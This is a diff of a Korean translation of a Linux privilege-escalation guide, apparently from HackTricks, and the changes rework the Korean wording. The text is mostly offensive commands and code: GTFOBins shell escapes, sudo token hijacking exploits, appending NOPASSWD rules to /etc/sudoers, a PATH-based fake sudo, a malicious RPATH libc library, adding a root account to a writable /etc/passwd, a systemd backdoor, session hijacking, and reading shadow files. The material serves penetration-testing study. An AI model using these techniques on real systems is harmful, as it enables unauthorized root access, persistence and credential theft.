-즉, 생성한 라이브러리는 `a_function_name`이라는 함수를 포함해야 합니다.
+즉, 생성한 라이브러리는 `a_function_name`이라는 함수가 있어야 합니다.
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) 은 로컬 보안 제한을 우회하기 위해 공격자가 악용할 수 있는 Unix 바이너리의 큐레이션된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우에 대한 동일한 자료입니다.
+[**GTFOBins**](https://gtfobins.github.io) 은 공격자가 로컬 보안 제한을 우회하는 데 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우를 위한 동일한 프로젝트입니다.
-이 프로젝트는 Unix 바이너리의 정당한 기능들을 수집하여 공격자가 restricted shells에서 탈출하거나, escalate or maintain elevated privileges하고, 파일을 전송하며, bind and reverse shells를 생성하고, 기타 post-exploitation 작업을 용이하게 할 수 있도록 악용할 수 있는 사례들을 제공합니다.
+이 프로젝트는 제한된 쉘에서 빠져나오거나 권한 상승 또는 유지, 파일 전송, bind 및 reverse shell 생성, 기타 post-exploitation 작업을 수행하는 데 악용될 수 있는 Unix 바이너리의 정당한 기능들을 수집합니다.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
-
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
@@ -1006,16 +1000,16 @@ If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github
### Reusing Sudo Tokens
-권한 상승을 위해 **sudo 접근 권한**은 있으나 비밀번호는 모르는 경우, **sudo 명령 실행을 기다렸다가 세션 토큰을 가로채는 방식으로** 권한을 상승시킬 수 있습니다.
+In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**.
권한 상승을 위한 요구사항:
- 이미 사용자 "_sampleuser_"로 쉘을 가지고 있어야 합니다
-- "_sampleuser_"가 **지난 15mins 내에 `sudo`를 사용**하여 무언가를 실행했어야 합니다 (기본적으로 이는 비밀번호 입력 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속시간입니다)
-- `cat /proc/sys/kernel/yama/ptrace_scope` 값이 0이어야 합니다
-- `gdb`에 접근 가능해야 합니다 (업로드할 수 있어야 함)
+- "_sampleuser_"는 **`sudo`를 사용하여** 무언가를 **최근 15mins**에 실행한 적이 있어야 합니다 (기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다)
+- `cat /proc/sys/kernel/yama/ptrace_scope` is 0
+- `gdb`에 접근할 수 있어야 합니다 (업로드할 수 있어야 합니다)
-(임시로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나, 영구적으로 변경하려면 `/etc/sysctl.d/10-ptrace.conf`를 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정하세요)
+(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정해 `kernel.yama.ptrace_scope = 0`으로 설정하세요)
If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
@@ -1025,32 +1019,32 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- The **second exploit** (`exploit_v2.sh`)는 _/tmp_에 sh shell을 생성하며 **root 소유에 setuid가 설정된** 상태로 만듭니다.
+- **두 번째 exploit** (`exploit_v2.sh`)는 _/tmp_에 sh 쉘을 생성하며, **setuid가 설정된 root 소유**입니다
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- 해당 **third exploit** (`exploit_v3.sh`)은 **sudoers file을 생성**하여 **sudo tokens을 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용**합니다.
+- The **third exploit** (`exploit_v3.sh`)는 **sudoers file을 생성**하여 **sudo tokens을 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용합니다**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-해당 폴더 또는 그 안에 생성된 파일들에 대해 **write permissions**이 있는 경우, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용해 **create a sudo token for a user and PID**할 수 있습니다.\
-예를 들어, 파일 _/var/run/sudo/ts/sampleuser_를 덮어쓸 수 있고 해당 사용자로 PID 1234인 shell을 가지고 있다면, 다음을 실행하여 비밀번호를 알 필요 없이 **obtain sudo privileges**할 수 있습니다:
+폴더 또는 폴더 내에 생성된 파일들 중 어느 하나에 대해 **쓰기 권한**이 있다면, 이 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 사용자와 PID에 대한 **sudo token**을 생성할 수 있습니다.\
+예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을 덮어쓸 수 있고 해당 사용자로 PID 1234의 셸이 있다면, 암호를 알 필요 없이 다음과 같이 **sudo 권한을 얻을 수 있습니다**:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
-파일 `/etc/sudoers`와 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있고 어떻게 사용할지를 구성합니다. 이 파일들은 **기본적으로 user root 및 group root만 읽을 수 있습니다**.\
-**만약** 이 파일을 **읽을 수** 있다면 몇 가지 흥미로운 정보를 **얻을 수** 있고, 만약 어떤 파일을 **쓸 수** 있다면 **escalate privileges**를 할 수 있습니다.
+파일 `/etc/sudoers` 및 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방식을 구성합니다. 이 파일들은 **기본적으로 user root와 group root만 읽을 수 있습니다**.\
+**만약** 이 파일을 **읽을 수 있다면**, **흥미로운 정보를 얻을 수 있습니다**, 그리고 어떤 파일에 **쓸 수 있다면**, **escalate privileges**를 할 수 있습니다.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
-쓰기 권한이 있으면 이 권한을 악용할 수 있다.
+쓰기 권한이 있으면 이 권한을 악용할 수 있다
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@@ -1064,17 +1058,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-OpenBSD에서 `sudo` 바이너리의 대안으로 `doas`와 같은 것들이 있으므로 설정 파일 `/etc/doas.conf`를 확인하세요.
+`sudo` 바이너리의 대안으로 OpenBSD용 `doas` 같은 것이 있으니 구성 파일인 `/etc/doas.conf`를 확인하세요.
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-만약 **사용자가 보통 머신에 접속해 `sudo`를 사용**해 권한을 상승시키고 그 사용자 컨텍스트로 쉘을 얻었다면, 루트로 당신의 코드를 실행한 다음 사용자의 명령을 실행하는 **새로운 sudo 실행파일을 생성**할 수 있습니다. 그런 다음 사용자 컨텍스트의 **$PATH**를 수정(예: .bash_profile에 새 경로 추가)하면 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행됩니다.
+만약 **사용자가 일반적으로 머신에 접속해 `sudo`를 사용**하여 권한을 상승시키고, 해당 사용자 컨텍스트에서 쉘을 얻었다면, **새로운 sudo executable을 만들 수 있습니다**. 이 실행파일은 먼저 root로 당신의 코드를 실행한 다음 사용자의 명령을 실행합니다. 그런 다음 사용자 컨텍스트의 **$PATH를 수정**(예: .bash_profile에 새 경로를 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo executable이 실행되도록 합니다.
-사용자가 다른 shell(예: bash가 아닌)을 사용한다면 새 경로를 추가하기 위해 다른 파일들을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`을 수정합니다. 다른 예제는 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 찾을 수 있습니다.
+사용자가 다른 쉘(예: bash가 아닌)을 사용하면 새 경로를 추가하기 위해 다른 파일들을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
-또는 다음과 같은 명령을 실행:
+또는 다음과 같이 실행할 수도 있습니다:
```bash
cat >/tmp/sudo < (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-lib를 `/var/tmp/flag15/`에 복사하면 `RPATH` 변수에 지정된 대로 프로그램에서 이 위치의 lib를 사용합니다.
+lib를 `/var/tmp/flag15/`로 복사하면 `RPATH` 변수에 지정된 대로 프로그램이 이 위치의 lib를 사용합니다.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1124,7 +1119,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
-그런 다음 `/var/tmp`에 다음 명령으로 악성 라이브러리를 만듭니다: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
+그런 다음 `/var/tmp`에 악성 라이브러리를 다음과 같이 생성하세요: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include
#define SHELL "/bin/sh"
@@ -1137,44 +1132,44 @@ setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
-## Capabilities (권한)
+## Capabilities
-Linux capabilities는 프로세스에 사용 가능한 root 권한의 **부분 집합(subset)**을 제공합니다. 이것은 사실상 root **권한을 더 작고 구별되는 단위로 분할**하는 것입니다. 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이렇게 하면 전체 권한 세트가 축소되어 exploitation의 위험이 감소합니다.\
-Read the following page to **learn more about capabilities and how to abuse them**:
+Linux capabilities는 프로세스에 사용할 수 있는 root 권한의 **하위 집합**을 제공합니다. 이는 root 권한을 **더 작고 구별되는 단위들**로 분해하는 효과가 있습니다. 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이렇게 전체 권한 세트가 축소되어 악용 위험이 감소합니다.\
+다음 페이지를 읽어 **capabilities와 이를 악용하는 방법**에 대해 더 알아보세요:
{{#ref}}
linux-capabilities.md
{{#endref}}
-## Directory permissions (디렉터리 권한)
+## Directory permissions
-In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\
-The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**.
+디렉터리에서 **"execute" 비트**는 해당 사용자가 **"cd"** 해서 폴더로 들어갈 수 있음을 의미합니다.\
+**"read"** 비트는 사용자가 **files를 list**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **files를 delete**하고 새로운 **files를 create**할 수 있음을 의미합니다.
## ACLs
-Access Control Lists (ACLs)는 재량적 권한의 2차 계층을 나타내며, **전통적인 ugo/rwx 권한을 재정의(overriding)**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권리를 허용하거나 거부함으로써 파일이나 디렉터리에 대한 접근 제어를 향상시킵니다. 이러한 수준의 **세분성(granularity)은 보다 정밀한 접근 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요.
+Access Control Lists (ACLs)는 전통적인 ugo/rwx 권한을 **overriding**할 수 있는 임의 권한의 2차 계층을 나타냅니다. 이러한 권한은 소유자도 아니고 그룹의 구성원도 아닌 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근에 대한 제어를 강화합니다. 이 수준의 **세분화는 보다 정밀한 접근 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요.
-**Give** user "kali" read and write permissions over a file:
+**부여** 사용자 "kali"에게 파일에 대한 read 및 write 권한:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
```
-**시스템에서 특정 ACL을 가진 파일 찾기:**
+**가져오기** 시스템에서 특정 ACL을 가진 파일:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
-## shell 세션 열기
+## 열린 shell 세션
-이전 **버전**에서는 다른 사용자(**root**)의 일부 **shell** 세션을 **hijack**할 수 있습니다.\
-최신 **버전**에서는 **connect**할 수 있는 대상이 **your own user**의 **screen sessions**로만 제한됩니다. 그러나 **interesting information inside the session**를 발견할 수 있습니다.
+**구버전**에서는 다른 사용자(**root**)의 **shell** 세션을 **hijack**할 수 있습니다.\
+**최신 버전**에서는 **connect**할 수 있는 대상이 오직 **자신의 user**의 screen 세션뿐입니다. 그러나 **세션 내부의 흥미로운 정보**를 찾을 수 있습니다.
### screen sessions hijacking
-**screen sessions 목록**
+**screen 세션 목록 보기**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
@@ -1189,9 +1184,9 @@ screen -x [user]/[session id]
```
## tmux sessions hijacking
-이 문제는 **구형 tmux 버전**에서 발생했습니다. 비권한 사용자로서 root가 생성한 tmux (v2.1) 세션을 hijack할 수 없었습니다.
+이 문제는 **old tmux versions**에서 발생했습니다. non-privileged user로는 root가 생성한 tmux (v2.1) 세션을 hijack할 수 없었습니다.
-**tmux 세션 나열**
+**List tmux sessions**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1199,7 +1194,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i
```
.png>)
-**세션에 연결**
+**세션에 연결하기**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
@@ -1209,53 +1204,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-**Valentine box from HTB**를 예시로 확인하세요.
+Check **Valentine box from HTB** for an example.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\
-이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생하며, **가능한 변형이 단 32,768개에 불과합니다**. 즉, 모든 가능성을 계산할 수 있고 **ssh 공개키를 알고 있다면 해당하는 개인키를 검색할 수 있습니다**. 계산된 가능한 키 목록은 다음에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생합니다. **가능한 변형이 32,768개에 불과했기 때문입니다**. 이는 모든 경우를 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당하는 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
-### SSH 유용한 설정 값
+### SSH 흥미로운 설정 값
-- **PasswordAuthentication:** 비밀번호 인증 허용 여부를 지정합니다. 기본값은 `no`입니다.
-- **PubkeyAuthentication:** 공개키 인증 허용 여부를 지정합니다. 기본값은 `yes`입니다.
-- **PermitEmptyPasswords**: 비밀번호 인증이 허용된 경우, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용할지 여부를 지정합니다. 기본값은 `no`입니다.
+- **PasswordAuthentication:** 패스워드 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다.
+- **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다.
+- **PermitEmptyPasswords**: 패스워드 인증이 허용될 때, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다.
### PermitRootLogin
-root가 ssh로 로그인할 수 있는지 지정합니다. 기본값은 `no`입니다. 가능한 값:
+root 사용자가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 `no`입니다. 가능한 값:
-- `yes`: root가 비밀번호와 개인 키로 로그인할 수 있습니다
+- `yes`: root는 비밀번호 및 개인 키로 로그인할 수 있습니다
- `without-password` or `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다
- `forced-commands-only`: root는 개인 키로만 로그인할 수 있으며, 명령 옵션이 지정된 경우에만 허용됩니다
-- `no` : 허용되지 않음
+- `no`: 허용되지 않음
### AuthorizedKeysFile
-사용자 인증에 사용될 공개 키를 포함하는 파일을 지정합니다. `%h` 같은 토큰을 포함할 수 있으며 이는 홈 디렉터리로 대체됩니다. **절대 경로**(루트 `/`에서 시작)나 **사용자 홈 디렉터리 기준의 상대 경로**를 지정할 수 있습니다. 예:
+사용자 인증에 사용될 수 있는 공개 키를 포함하는 파일을 지정합니다. 파일에는 `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 대체됩니다. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
+해당 구성은 사용자인 **testusername**의 **private** key로 로그인하려 시도할 경우 ssh가 당신의 key의 public key를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 항목들과 비교할 것임을 나타냅니다.
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding은 서버에 키(패스프레이즈 없이!)를 남겨두지 않고 로컬 SSH 키를 사용할 수 있게 해줍니다. 따라서 ssh로 한 호스트에 접속한 뒤, 그 호스트에서 초기 호스트에 있는 키를 사용해 다른 호스트로 이동할 수 있습니다.
+SSH agent forwarding는 서버에 (패스프레이즈 없이!) 키를 남겨두지 않고 로컬 SSH keys를 사용할 수 있게 해줍니다. 따라서 ssh로 한 호스트에 접속한 뒤, 그 호스트에 있는 key를 사용해 다른 호스트로 다시 jump할 수 있습니다.
-You need to set this option in `$HOME/.ssh.config` like this:
+이 옵션은 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다:
```
Host example.com
ForwardAgent yes
```
-Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).
+주의: `Host`가 `*`이면 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있습니다(이는 보안 문제입니다).
-파일 `/etc/ssh_config`은 이 **옵션들**을 **재정의**하여 이 구성을 허용하거나 거부할 수 있습니다.\
-`/etc/sshd_config` 파일은 키워드 `AllowAgentForwarding`로 ssh-agent forwarding을 **허용**하거나 **거부**할 수 있습니다 (기본값은 허용).
+파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하여 이 구성을 허용하거나 거부할 수 있습니다.\
+파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드로 ssh-agent forwarding을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용).
-환경에서 Forward Agent가 구성되어 있음을 발견하면 다음 페이지를 읽으세요 — **권한 상승에 악용할 수 있을지도 모릅니다**:
+환경에서 Forward Agent가 구성되어 있음을 발견하면 다음 페이지를 읽으세요. **권한 상승에 악용될 수 있습니다**:
{{#ref}}
@@ -1264,30 +1259,30 @@ ssh-forward-agent-exploitation.md
## 흥미로운 파일
-### Profile 파일들
+### 프로필 파일
-`/etc/profile` 파일과 `/etc/profile.d/` 아래의 파일들은 사용자가 새로운 쉘을 실행할 때 **실행되는 스크립트들**입니다. 따라서, 이들 중 어느 하나라도 **작성하거나 수정할 수 있다면 권한 상승을 할 수 있습니다**.
+파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 **사용자가 새 쉘을 실행할 때 실행되는 스크립트들**입니다. 따라서, 이들 중 어느 하나를 **쓰거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-이상한 프로필 스크립트가 발견되면 **민감한 정보**가 있는지 확인해야 합니다.
+수상한 프로필 스크립트가 발견되면 **민감한 세부 정보**가 있는지 확인해야 합니다.
### Passwd/Shadow 파일
-운영체제에 따라 `/etc/passwd`와 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업본이 있을 수 있습니다. 따라서 **모든 파일을 찾고**, **읽을 수 있는지 확인하여**, 파일 내부에 **hashes**가 있는지 확인하는 것이 좋습니다:
+OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일의 이름이 다르거나 백업이 있을 수 있습니다. 따라서 모든 파일을 **찾아보고**, **읽을 수 있는지 확인**하여 파일 내부에 **해시가 있는지** 확인하는 것이 좋습니다:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-일부 경우에는 `/etc/passwd` (또는 동등한) 파일 안에서 **password hashes**를 찾을 수 있습니다.
+어떤 경우에는 `/etc/passwd`(또는 동등한 파일) 안에서 **password hashes**를 찾을 수 있습니다.
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### 쓰기 가능한 /etc/passwd
-먼저, 다음 명령어 중 하나로 비밀번호를 생성하세요.
+먼저, 다음 명령어들 중 하나로 비밀번호를 생성하세요.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@@ -1299,36 +1294,37 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-이제 `su` 명령을 `hacker:hacker`로 사용할 수 있습니다
+이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다
-또는 다음 줄을 사용해 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\
-경고: 이로 인해 시스템의 현재 보안 상태가 약화될 수 있습니다.
+또는, 암호 없는 더미 사용자를 추가하려면 다음 줄을 사용할 수 있습니다.\
+
+경고: 현재 머신의 보안이 저하될 수 있습니다.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하고, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다.
+참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치해 있으며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경되었습니다.
-**일부 민감한 파일에 쓸 수 있는지** 확인해야 합니다. 예를 들어, 어떤 **서비스 구성 파일**에 쓸 수 있습니까?
+일부 민감한 파일에 **쓸 수 있는지** 확인해야 합니다. 예를 들어, 일부 **서비스 구성 파일**에 쓸 수 있나요?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **/etc/systemd/ 안의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음 줄들을 수정할 수 있습니다:
+예를 들어, 머신에서 **tomcat** 서버가 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 할 수 있다면, 다음 라인들을 수정할 수 있습니다:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-Your backdoor will be executed the next time that tomcat is started.
+당신의 backdoor는 tomcat이 다음에 시작될 때 실행될 것입니다.
### 폴더 확인
-다음 폴더에는 백업이나 흥미로운 정보가 포함되어 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 항목은 아마 읽을 수 없을 가능성이 높지만 시도해보세요)
+다음 폴더들은 백업이나 흥미로운 정보를 포함하고 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (아마 마지막 항목은 읽을 수 없겠지만 시도해보세요)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### 이상한 위치/Owned files
+### 이상한 위치/Owned 파일들
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1353,11 +1349,11 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
-### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일
+### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일들
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
-### 숨겨진 파일
+### 숨김 파일
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
@@ -1379,20 +1375,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### 비밀번호를 포함할 수 있는 알려진 파일들
-[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면 **비밀번호를 포함할 수 있는 여러 파일들**을 검색한다.\
-**또 다른 유용한 도구**로는 로컬 컴퓨터에 저장된 많은 비밀번호를 추출하는 오픈 소스 애플리케이션인 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)가 있다. (Windows, Linux & Mac 지원)
+[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **비밀번호를 포함할 수 있는 여러 가능한 파일들**을 검색한다.\
+**또 다른 흥미로운 도구**로서 사용할 수 있는 것은: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)이며, Windows, Linux & Mac에 저장된 많은 비밀번호를 로컬 컴퓨터에서 복구하는 데 사용되는 오픈 소스 애플리케이션이다.
### 로그
-로그를 읽을 수 있다면 그 안에서 **흥미롭거나 기밀인 정보를** 찾을 수 있을지도 모른다. 로그가 이상할수록 더 흥미로운 내용을 담고 있을 가능성이 높다(아마도).\
-또한 일부 "**bad**"로 구성된(백도어가 심겨진?) **audit logs**는 이 게시물에 설명된 것처럼 감사 로그 내부에 **비밀번호를 기록**하도록 허용할 수 있다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)
+로그를 읽을 수 있다면, 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있을 것이다. 로그가 더 이상할수록 더 흥미로울 가능성이 높다.\
+또한, 일부 "**bad**"로 구성된 (backdoored?) **audit logs**는 이 게시물에서 설명된 것처럼 audit logs 내부에 비밀번호를 **기록**하도록 허용할 수 있다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-로그를 읽기 위해서는 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 그룹이 매우 유용합니다.
+로그를 읽기 위해서는 **로그를 읽을 수 있는 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)이 정말 도움이 됩니다.
-### Shell files
+### 쉘 파일
```bash
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@@ -1405,59 +1401,59 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
### Generic Creds Search/Regex
-파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일과, 로그 안의 IPs나 이메일, 또는 hashes regexps도 확인해야 합니다.\
-여기서 이 모든 방법을 전부 나열하지는 않겠습니다. 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사들을 확인하세요.
+파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 안의 IPs와 emails, 또는 해시용 정규식도 확인하세요.\
